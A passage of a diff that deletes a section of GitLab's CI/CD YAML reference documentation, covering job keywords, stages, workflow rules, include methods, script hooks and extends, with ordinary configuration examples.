-| [`before_script`](#before_script) | Override a set of commands that are executed before job. |
-| [`cache`](#cache) | List of files that should be cached between subsequent runs. |
-| [`coverage`](#coverage) | Code coverage settings for a given job. |
-| [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. |
-| [`environment`](#environment) | Name of an environment to which the job deploys. |
-| [`except`](#only--except) | Control when jobs are not created. |
-| [`extends`](#extends) | Configuration entries that this job inherits from. |
-| [`image`](#image) | Use Docker images. |
-| [`include`](#include) | Include external YAML files. |
-| [`inherit`](#inherit) | Select which global defaults all jobs inherit. |
-| [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. |
-| [`needs`](#needs) | Execute jobs earlier than the stage ordering. |
-| [`only`](#only--except) | Control when jobs are created. |
-| [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. |
-| [`parallel`](#parallel) | How many instances of a job should be run in parallel. |
-| [`release`](#release) | Instructs the runner to generate a [release](../../user/project/releases/index.md) object. |
-| [`resource_group`](#resource_group) | Limit job concurrency. |
-| [`retry`](#retry) | When and how many times a job can be auto-retried in case of a failure. |
-| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. |
-| [`script`](#script) | Shell script that is executed by a runner. |
-| [`secrets`](#secrets) | The CI/CD secrets the job needs. |
-| [`services`](#services) | Use Docker services images. |
-| [`stage`](#stage) | Defines a job stage. |
-| [`tags`](#tags) | List of tags that are used to select a runner. |
-| [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. |
-| [`trigger`](#trigger) | Defines a downstream pipeline trigger. |
-| [`variables`](#variables) | Define job variables on a job level. |
-| [`when`](#when) | When to run job. |
-
-### Unavailable names for jobs
-
-You can't use these keywords as job names:
-
-- `image`
-- `services`
-- `stages`
-- `types`
-- `before_script`
-- `after_script`
-- `variables`
-- `cache`
-- `include`
-
-### Custom default keyword values
-
-You can set global defaults for some keywords. Jobs that do not define one or more
-of the listed keywords use the value defined in the `default:` section.
-
-These job keywords can be defined inside a `default:` section:
-
-- [`after_script`](#after_script)
-- [`artifacts`](#artifacts)
-- [`before_script`](#before_script)
-- [`cache`](#cache)
-- [`image`](#image)
-- [`interruptible`](#interruptible)
-- [`retry`](#retry)
-- [`services`](#services)
-- [`tags`](#tags)
-- [`timeout`](#timeout)
-
-The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline.
-The `rspec 2.7` job does not use the default, because it overrides the default with
-a job-specific `image:` section:
-
-```yaml
-default:
- image: ruby:3.0
-
-rspec:
- script: bundle exec rspec
-
-rspec 2.7:
- image: ruby:2.7
- script: bundle exec rspec
-```
-
-## Global keywords
-
-Some keywords are not defined in a job. These keywords control pipeline behavior
-or import additional pipeline configuration:
-
-| Keyword | Description |
-|-------------------------|:------------|
-| [`stages`](#stages) | The names and order of the pipeline stages. |
-| [`workflow`](#workflow) | Control what types of pipeline run. |
-| [`include`](#include) | Import configuration from other YAML files. |
-
-### `stages`
-
-Use `stages` to define stages that contain groups of jobs. `stages` is defined globally
-for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is
-part of.
-
-The order of the `stages` items defines the execution order for jobs:
-
-- Jobs in the same stage run in parallel.
-- Jobs in the next stage run after the jobs from the previous stage complete successfully.
-
-For example:
-
-```yaml
-stages:
- - build
- - test
- - deploy
-```
-
-1. All jobs in `build` execute in parallel.
-1. If all jobs in `build` succeed, the `test` jobs execute in parallel.
-1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel.
-1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`.
-
-If any job fails, the pipeline is marked as `failed` and jobs in later stages do not
-start. Jobs in the current stage are not stopped and continue to run.
-
-If no `stages` are defined in the `.gitlab-ci.yml` file, then `build`, `test` and `deploy`
-are the default pipeline stages.
-
-If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage.
-
-If a stage is defined, but no jobs use it, the stage is not visible in the pipeline. This is
-useful for [compliance pipeline configuration](../../user/project/settings/index.md#compliance-pipeline-configuration)
-because:
-
-- Stages can be defined in the compliance configuration but remain hidden if not used.
-- The defined stages become visible when developers use them in job definitions.
-
-To make a job start earlier and ignore the stage order, use
-the [`needs`](#needs) keyword.
-
-### `workflow`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5
-
-Use `workflow:` to determine whether or not a pipeline is created.
-Define this keyword at the top level, with a single `rules:` keyword that
-is similar to [`rules:` defined in jobs](#rules).
-
-You can use the [`workflow:rules` templates](#workflowrules-templates) to import
-a preconfigured `workflow: rules` entry.
-
-`workflow: rules` accepts these keywords:
-
-- [`if`](#rulesif): Check this rule to determine when to run a pipeline.
-- [`when`](#when): Specify what to do when the `if` rule evaluates to true.
- - To run a pipeline, set to `always`.
- - To prevent pipelines from running, set to `never`.
-- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables).
-
-When no rules evaluate to true, the pipeline does not run.
-
-Some example `if` clauses for `workflow: rules`:
-
-| Example rules | Details |
-|------------------------------------------------------|-----------------------------------------------------------|
-| `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` | Control when merge request pipelines run. |
-| `if: '$CI_PIPELINE_SOURCE == "push"'` | Control when both branch pipelines and tag pipelines run. |
-| `if: $CI_COMMIT_TAG` | Control when tag pipelines run. |
-| `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. |
-
-See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples.
-
-In the following example, pipelines run for all `push` events (changes to
-branches and new tags). Pipelines for push events with `-draft` in the commit message
-don't run, because they are set to `when: never`. Pipelines for schedules or merge requests
-don't run either, because no rules evaluate to true for them:
-
-```yaml
-workflow:
- rules:
- - if: $CI_COMMIT_MESSAGE =~ /-draft$/
- when: never
- - if: '$CI_PIPELINE_SOURCE == "push"'
-```
-
-This example has strict rules, and pipelines do **not** run in any other case.
-
-Alternatively, all of the rules can be `when: never`, with a final
-`when: always` rule. Pipelines that match the `when: never` rules do not run.
-All other pipeline types run:
-
-```yaml
-workflow:
- rules:
- - if: '$CI_PIPELINE_SOURCE == "schedule"'
- when: never
- - if: '$CI_PIPELINE_SOURCE == "push"'
- when: never
- - when: always
-```
-
-This example prevents pipelines for schedules or `push` (branches and tags) pipelines.
-The final `when: always` rule runs all other pipeline types, **including** merge
-request pipelines.
-
-If your rules match both branch pipelines and merge request pipelines,
-[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur.
-
-#### `workflow:rules:variables`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11.
-> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 13.12.
-> - Enabled on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-workflowrulesvariables). **(FREE SELF)**
-
-There can be
-[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features).
-Refer to this feature's version history for more details.
-
-You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions.
-
-For example:
-
-```yaml
-variables:
- DEPLOY_VARIABLE: "default-deploy"
-
-workflow:
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables:
- DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
- - if: $CI_COMMIT_REF_NAME =~ /feature/
- variables:
- IS_A_FEATURE: "true" # Define a new variable.
- - when: always # Run the pipeline in other cases
-
-job1:
- variables:
- DEPLOY_VARIABLE: "job1-default-deploy"
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables: # Override DEPLOY_VARIABLE defined
- DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
- - when: on_success # Run the job in other cases
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-
-job2:
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-```
-
-When the branch is the default branch:
-
-- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
-- job2's `DEPLOY_VARIABLE` is `deploy-production`.
-
-When the branch is `feature`:
-
-- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`.
-- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`.
-
-When the branch is something else:
-
-- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`.
-- job2's `DEPLOY_VARIABLE` is `default-deploy`.
-
-##### Enable or disable workflow:rules:variables **(FREE SELF)**
-
-workflow:rules:variables is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_workflow_rules_variables)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_workflow_rules_variables)
-```
-
-#### `workflow:rules` templates
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0.
-
-GitLab provides templates that set up `workflow: rules`
-for common scenarios. These templates help prevent duplicate pipelines.
-
-The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml)
-makes your pipelines run for branches and tags.
-
-Branch pipeline status is displayed in merge requests that use the branch
-as a source. However, this pipeline type does not support any features offered by
-[merge request pipelines](../merge_request_pipelines/), like
-[pipelines for merge results](../merge_request_pipelines/#pipelines-for-merged-results)
-or [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/).
-This template intentionally avoids those features.
-
-To [include](#include) it:
-
-```yaml
-include:
- - template: 'Workflows/Branch-Pipelines.gitlab-ci.yml'
-```
-
-The [`MergeRequest-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml)
-makes your pipelines run for the default branch, tags, and
-all types of merge request pipelines. Use this template if you use any of the
-the [pipelines for merge requests features](../merge_request_pipelines/).
-
-To [include](#include) it:
-
-```yaml
-include:
- - template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml'
-```
-
-#### Switch between branch pipelines and merge request pipelines
-
-> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) GitLab 13.8.
-
-To make the pipeline switch from branch pipelines to merge request pipelines after
-a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file.
-
-If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines)
-might run at the same time. To prevent duplicate pipelines, use the
-[`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md).
-
-The following example is for a project that runs branch and merge request pipelines only,
-but does not run pipelines for any other case. It runs:
-
-- Branch pipelines when a merge request is not open for the branch.
-- Merge request pipelines when a merge request is open for the branch.
-
-```yaml
-workflow:
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- - if: '$CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS'
- when: never
- - if: '$CI_COMMIT_BRANCH'
-```
-
-If the pipeline is triggered by:
-
-- A merge request, run a merge request pipeline. For example, a merge request pipeline
- can be triggered by a push to a branch with an associated open merge request.
-- A change to a branch, but a merge request is open for that branch, do not run a branch pipeline.
-- A change to a branch, but without any open merge requests, run a branch pipeline.
-
-You can also add a rule to an existing `workflow` section to switch from branch pipelines
-to merge request pipelines when a merge request is created.
-
-Add this rule to the top of the `workflow` section, followed by the other rules that
-were already present:
-
-```yaml
-workflow:
- rules:
- - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS && $CI_PIPELINE_SOURCE == "push"
- when: never
- - ... # Previously defined workflow rules here
-```
-
-[Triggered pipelines](../triggers/README.md) that run on a branch have a `$CI_COMMIT_BRANCH`
-set and could be blocked by a similar rule. Triggered pipelines have a pipeline source
-of `trigger` or `pipeline`, so `&& $CI_PIPELINE_SOURCE == "push"` ensures the rule
-does not block triggered pipelines.
-
-### `include`
-
-> [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4.
-
-Use `include` to include external YAML files in your CI/CD configuration.
-You can break down one long `gitlab-ci.yml` file into multiple files to increase readability,
-or reduce duplication of the same configuration in multiple places.
-
-You can also store template files in a central repository and `include` them in projects.
-
-`include` requires the external YAML file to have the extensions `.yml` or `.yaml`,
-otherwise the external file is not included.
-
-You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`.
-You can only refer to anchors in the same file. To reuse configuration from different
-YAML files, use [`!reference` tags](#reference-tags) or the [`extends` keyword](#extends).
-
-`include` supports the following inclusion methods:
-
-| Keyword | Method |
-|:--------------------------------|:------------------------------------------------------------------|
-| [`local`](#includelocal) | Include a file from the local project repository. |
-| [`file`](#includefile) | Include a file from a different project repository. |
-| [`remote`](#includeremote) | Include a file from a remote URL. Must be publicly accessible. |
-| [`template`](#includetemplate) | Include templates that are provided by GitLab. |
-
-When the pipeline starts, the `.gitlab-ci.yml` file configuration included by all methods is evaluated.
-The configuration is a snapshot in time and persists in the database. GitLab does not reflect any changes to
-the referenced `.gitlab-ci.yml` file configuration until the next pipeline starts.
-
-The `include` files are:
-
-- Deep merged with those in the `.gitlab-ci.yml` file.
-- Always evaluated first and merged with the content of the `.gitlab-ci.yml` file,
- regardless of the position of the `include` keyword.
-
-NOTE:
-Use merging to customize and override included CI/CD configurations with local
-configurations. Local configurations in the `.gitlab-ci.yml` file override included configurations.
-
-#### Variables with `include` **(FREE SELF)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/284883) in GitLab 13.8.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294294) in GitLab 13.9.
-
-You can [use some predefined variables in `include` sections](../variables/where_variables_can_be_used.md#gitlab-ciyml-file)
-in your `.gitlab-ci.yml` file:
-
-```yaml
-include:
- project: '$CI_PROJECT_PATH'
- file: '.compliance-gitlab-ci.yml'
-```
-
-For an example of how you can include these predefined variables, and the variables' impact on CI/CD jobs,
-see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos).
-
-#### `include:local`
-
-Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file.
-Use a full path relative to the root directory (`/`).
-
-If you use `include:local`, make sure that both the `.gitlab-ci.yml` file and the local file
-are on the same branch.
-
-You can't include local files through Git submodules paths.
-
-All [nested includes](#nested-includes) are executed in the scope of the same project,
-so it's possible to use local, project, remote, or template includes.
-
-Example:
-
-```yaml
-include:
- - local: '/templates/.gitlab-ci-template.yml'
-```
-
-You can also use shorter syntax to define the path:
-
-```yaml
-include: '.gitlab-ci-production.yml'
-```
-
-Use local includes instead of symbolic links.
-
-##### `include:local` with wildcard file paths
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11.
-> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/327315) in GitLab 13.12.
-> - Enabled on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to disable it. **(CORE ONLY)**
-
-There can be
-[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features).
-Refer to this feature's version history for more details.
-
-You can use wildcard paths (`*` and `**`) with `include:local`.
-
-Example:
-
-```yaml
-include: 'configs/*.yml'
-```
-
-When the pipeline runs, GitLab:
-
-- Adds all `.yml` files in the `configs` directory into the pipeline configuration.
-- Does not add `.yml` files in subfolders of the `configs` directory. To allow this,
- add the following configuration:
-
- ```yaml
- # This matches all `.yml` files in `configs` and any subfolder in it.
- include: 'configs/**.yml'
-
- # This matches all `.yml` files only in subfolders of `configs`.
- include: 'configs/**/*.yml'
- ```
-
-The wildcard file paths feature is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_wildcard_file_paths)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_wildcard_file_paths)
-```
-
-#### `include:file`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7.
-
-To include files from another private project on the same GitLab instance,
-use `include:file`. You can use `include:file` in combination with `include:project` only.
-Use a full path, relative to the root directory (`/`).
-
-For example:
-
-```yaml
-include:
- - project: 'my-group/my-project'
- file: '/templates/.gitlab-ci-template.yml'
-```
-
-You can also specify a `ref`. If you do not specify a value, the ref defaults to the `HEAD` of the project:
-
-```yaml
-include:
- - project: 'my-group/my-project'
- ref: main
- file: '/templates/.gitlab-ci-template.yml'
-
- - project: 'my-group/my-project'
- ref: v1.0.0
- file: '/templates/.gitlab-ci-template.yml'
-
- - project: 'my-group/my-project'
- ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA
- file: '/templates/.gitlab-ci-template.yml'
-```
-
-All [nested includes](#nested-includes) are executed in the scope of the target project.
-You can use local (relative to target project), project, remote, or template includes.
-
-##### Multiple files from a project
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26793) in GitLab 13.6.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/271560) in GitLab 13.8.
-
-You can include multiple files from the same project:
-
-```yaml
-include:
- - project: 'my-group/my-project'
- ref: main
- file:
- - '/templates/.builds.yml'
- - '/templates/.tests.yml'
-```
-
-#### `include:remote`
-
-Use `include:remote` with a full URL to include a file from a different location.
-The remote file must be publicly accessible by an HTTP/HTTPS `GET` request, because
-authentication in the remote URL is not supported. For example:
-
-```yaml
-include:
- - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml'
-```
-
-All [nested includes](#nested-includes) execute without context as a public user,
-so you can only `include` public projects or templates.
-
-#### `include:template`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7.
-
-Use `include:template` to include `.gitlab-ci.yml` templates that are
-[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
-
-For example:
-
-```yaml
-# File sourced from the GitLab template collection
-include:
- - template: Auto-DevOps.gitlab-ci.yml
-```
-
-Multiple `include:template` files:
-
-```yaml
-include:
- - template: Android-Fastlane.gitlab-ci.yml
- - template: Auto-DevOps.gitlab-ci.yml
-```
-
-All [nested includes](#nested-includes) are executed only with the permission of the user,
-so it's possible to use project, remote or template includes.
-
-#### Nested includes
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9.
-
-Use nested includes to compose a set of includes.
-
-You can have up to 100 includes, but you can't have duplicate includes.
-
-In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit
-to resolve all files is 30 seconds.
-
-#### Additional `includes` examples
-
-View [additional `includes` examples](includes.md).
-
-## Keyword details
-
-The following topics explain how to use keywords to configure CI/CD pipelines.
-
-### `image`
-
-Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is-an-image) to use for the job.
-
-For:
-
-- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file).
-- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
-
-#### `image:name`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image).
-
-#### `image:entrypoint`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image).
-
-#### `services`
-
-Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image).
-
-For:
-
-- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file).
-- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
-- Example services, see [GitLab CI/CD Services](../services/index.md).
-
-##### `services:name`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
-
-##### `services:alias`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
-
-##### `services:entrypoint`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
-
-##### `services:command`
-
-An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-
-For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
-
-### `script`
-
-Use `script` to specify a shell script for the runner to execute.
-
-All jobs except [trigger jobs](#trigger) require a `script` keyword.
-
-For example:
-
-```yaml
-job:
- script: "bundle exec rspec"
-```
-
-You can use [YAML anchors with `script`](#yaml-anchors-for-scripts).
-
-The `script` keyword can also contain several commands in an array:
-
-```yaml
-job:
- script:
- - uname -a
- - bundle exec rspec
-```
-
-Sometimes, `script` commands must be wrapped in single or double quotes.
-For example, commands that contain a colon (`:`) must be wrapped in single quotes (`'`).
-The YAML parser needs to interpret the text as a string rather than
-a "key: value" pair.
-
-For example, this script uses a colon:
-
-```yaml
-job:
- script:
- - curl --request POST --header 'Content-Type: application/json' "https://gitlab/api/v4/projects"
-```
-
-To be considered valid YAML, you must wrap the entire command in single quotes. If
-the command already uses single quotes, you should change them to double quotes (`"`)
-if possible:
-
-```yaml
-job:
- script:
- - 'curl --request POST --header "Content-Type: application/json" "https://gitlab/api/v4/projects"'
-```
-
-You can verify the syntax is valid with the [CI Lint](../lint.md) tool.
-
-Be careful when using these characters as well:
-
-- `{`, `}`, `[`, `]`, `,`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `` ` ``.
-
-If any of the script commands return an exit code other than zero, the job
-fails and further commands are not executed. Store the exit code in a variable to
-avoid this behavior:
-
-```yaml
-job:
- script:
- - false || exit_code=$?
- - if [ $exit_code -ne 0 ]; then echo "Previous command failed"; fi;
-```
-
-#### `before_script`
-
-Use `before_script` to define an array of commands that should run before each job,
-but after [artifacts](#artifacts) are restored.
-
-Scripts you specify in `before_script` are concatenated with any scripts you specify
-in the main [`script`](#script). The combine scripts execute together in a single shell.
-
-You can overwrite a globally-defined `before_script` if you define it in a job:
-
-```yaml
-default:
- before_script:
- - echo "Execute this script in all jobs that don't already have a before_script section."
-
-job1:
- script:
- - echo "This script executes after the global before_script."
-
-job:
- before_script:
- - echo "Execute this script instead of the global before_script."
- script:
- - echo "This script executes after the job's `before_script`"
-```
-
-You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts).
-
-#### `after_script`
-
-Use `after_script` to define an array of commands that run after each job,
-including failed jobs.
-
-If a job times out or is cancelled, the `after_script` commands do not execute.
-An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15603) exists to support
-executing `after_script` commands for timed-out or cancelled jobs.
-
-Scripts you specify in `after_script` execute in a new shell, separate from any
-`before_script` or `script` scripts. As a result, they:
-
-- Have a current working directory set back to the default.
-- Have no access to changes done by scripts defined in `before_script` or `script`, including:
- - Command aliases and variables exported in `script` scripts.
- - Changes outside of the working tree (depending on the runner executor), like
- software installed by a `before_script` or `script` script.
-- Have a separate timeout, which is hard coded to 5 minutes. See the
- [related issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2716) for details.
-- Don't affect the job's exit code. If the `script` section succeeds and the
- `after_script` times out or fails, the job exits with code `0` (`Job Succeeded`).
-
-```yaml
-default:
- after_script:
- - echo "Execute this script in all jobs that don't already have an after_script section."
-
-job1:
- script:
- - echo "This script executes first. When it completes, the global after_script executes."
-
-job:
- script:
- - echo "This script executes first. When it completes, the job's `after_script` executes."
- after_script:
- - echo "Execute this script instead of the global after_script."
-```
-
-You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts).
-
-#### Script syntax
-
-You can use syntax in [`script`](README.md#script) sections to:
-
-- [Split long commands](script.md#split-long-commands) into multiline commands.
-- [Use color codes](script.md#add-color-codes-to-script-output) to make job logs easier to review.
-- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
- to simplify job log output.
-
-### `stage`
-
-Use `stage` to define which stage a job runs in. Jobs in the same
-`stage` can execute in parallel (subject to [certain conditions](#use-your-own-runners)).
-
-Jobs without a `stage` entry use the `test` stage by default. If you do not define
-[`stages`](#stages) in the pipeline, you can use the 5 default stages, which execute in
-this order:
-
-- [`.pre`](#pre-and-post)
-- `build`
-- `test`
-- `deploy`
-- [`.post`](#pre-and-post)
-For example:
-
-```yaml
-stages:
- - build
- - test
- - deploy
-
-job 0:
- stage: .pre
- script: make something useful before build stage
-
-job 1:
- stage: build
- script: make build dependencies
-
-job 2:
- stage: build
- script: make build artifacts
-
-job 3:
- stage: test
- script: make test
-
-job 4:
- stage: deploy
- script: make deploy
-
-job 5:
- stage: .post
- script: make something useful at the end of pipeline
-```
-
-#### Use your own runners
-
-When you use your own runners, each runner runs only one job at a time by default.
-Jobs can run in parallel if they run on different runners.
-
-If you have only one runner, jobs can run in parallel if the runner's
-[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
-is greater than `1`.
-
-#### `.pre` and `.post`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
-
-Use `pre` and `post` for jobs that need to run first or last in a pipeline.
-
-- `.pre` is guaranteed to always be the first stage in a pipeline.
-- `.post` is guaranteed to always be the last stage in a pipeline.
-
-User-defined stages are executed after `.pre` and before `.post`.
-
-You must have a job in at least one stage other than `.pre` or `.post`.
-
-You can't change the order of `.pre` and `.post`, even if you define them out of order in the `.gitlab-ci.yml` file.
-For example, the following configurations are equivalent:
-
-```yaml
-stages:
- - .pre
- - a
- - b
- - .post
-```
-
-```yaml
-stages:
- - a
- - .pre
- - b
- - .post
-```
-
-```yaml
-stages:
- - a
- - b
-```
-
-### `extends`
-
-> Introduced in GitLab 11.3.
-
-Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](#anchors)
-and is a little more flexible and readable. You can use `extends` to reuse configuration
-from [included configuration files](#use-extends-and-include-together).
-
-In the following example, the `rspec` job uses the configuration from the `.tests` template job.
-GitLab:
-
-- Performs a reverse deep merge based on the keys.
-- Merges the `.tests` content with the `rspec` job.
-- Doesn't merge the values of the keys.
-
-```yaml
-.tests:
- script: rake test
- stage: test
- only:
- refs:
- - branches
-
-rspec:
- extends: .tests
- script: rake rspec
- only:
- variables:
- - $RSPEC
-```
-
-The result is this `rspec` job:
-
-```yaml
-rspec:
- script: rake rspec
- stage: test
- only:
- refs:
- - branches
- variables:
- - $RSPEC
-```
-
-`.tests` in this example is a [hidden job](#hide-jobs), but it's
-possible to extend configuration from regular jobs as well.
-
-`extends` supports multi-level inheritance. You should avoid using more than three levels,
-but you can use as many as eleven. The following example has two levels of inheritance:
-
-```yaml
-.tests:
- rules:
- - if: $CI_PIPELINE_SOURCE == "push"
-
-.rspec:
- extends: .tests
- script: rake rspec
-
-rspec 1:
- variables:
- RSPEC_SUITE: '1'
- extends: .rspec
-
-rspec 2:
- variables:
- RSPEC_SUITE: '2'
- extends: .rspec
-
-spinach:
- extends: .tests
- script: rake spinach
-```
-
-In GitLab 12.0 and later, it's also possible to use multiple parents for
-`extends`.
-
-#### Merge details
-
-You can use `extends` to merge hashes but not arrays.
-The algorithm used for merge is "closest scope wins," so
-keys from the last member always override anything defined on other
-levels. For example:
-
-```yaml
-.only-important:
- variables:
- URL: "http://my-url.internal"
- IMPORTANT_VAR: "the details"
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
- - if: $CI_COMMIT_BRANCH == "stable"
- tags:
- - production
- script:
- - echo "Hello world!"
-
-.in-docker:
- variables:
- URL: "http://docker-url.internal"
- tags:
- - docker
- image: alpine
-
-rspec:
- variables:
- GITLAB: "is-awesome"
- extends:
- - .only-important
- - .in-docker
- script:
- - rake rspec
-```
-
-The result is this `rspec` job:
-
-```yaml
-rspec:
- variables:
- URL: "http://docker-url.internal"
- IMPORTANT_VAR: "the details"
- GITLAB: "is-awesome"
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
- - if: $CI_COMMIT_BRANCH == "stable"
- tags:
- - docker
- image: alpine
- script:
- - rake rspec
-```
-
-In this example:
-
-- The `variables` sections merge, but `URL: "http://docker-url.internal"` overwrites `URL: "http://my-url.internal"`.
-- `tags: ['docker']` overwrites `tags: ['production']`.
-- `script` does not merge, but `script: ['rake rspec']` overwrites
- `script: ['echo "Hello world!"']`. You can use [YAML anchors](#anchors) to merge arrays.
-
-#### Use `extends` and `include` together
-
-To reuse configuration from different configuration files,
-combine `extends` and [`include`](#include).
-
-In the following example, a `script` is defined in the `included.yml` file.
-Then, in the `.gitlab-ci.yml` file, `extends` refers
-to the contents of the `script`:
-
-- `included.yml`:
-
- ```yaml
- .template:
- script:
- - echo Hello!
- ```
-
-- `.gitlab-ci.yml`:
-
- ```yaml
- include: included.yml
-
- useTemplate:
- image: alpine
- extends: .template
- ```
-
-### `rules`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
-
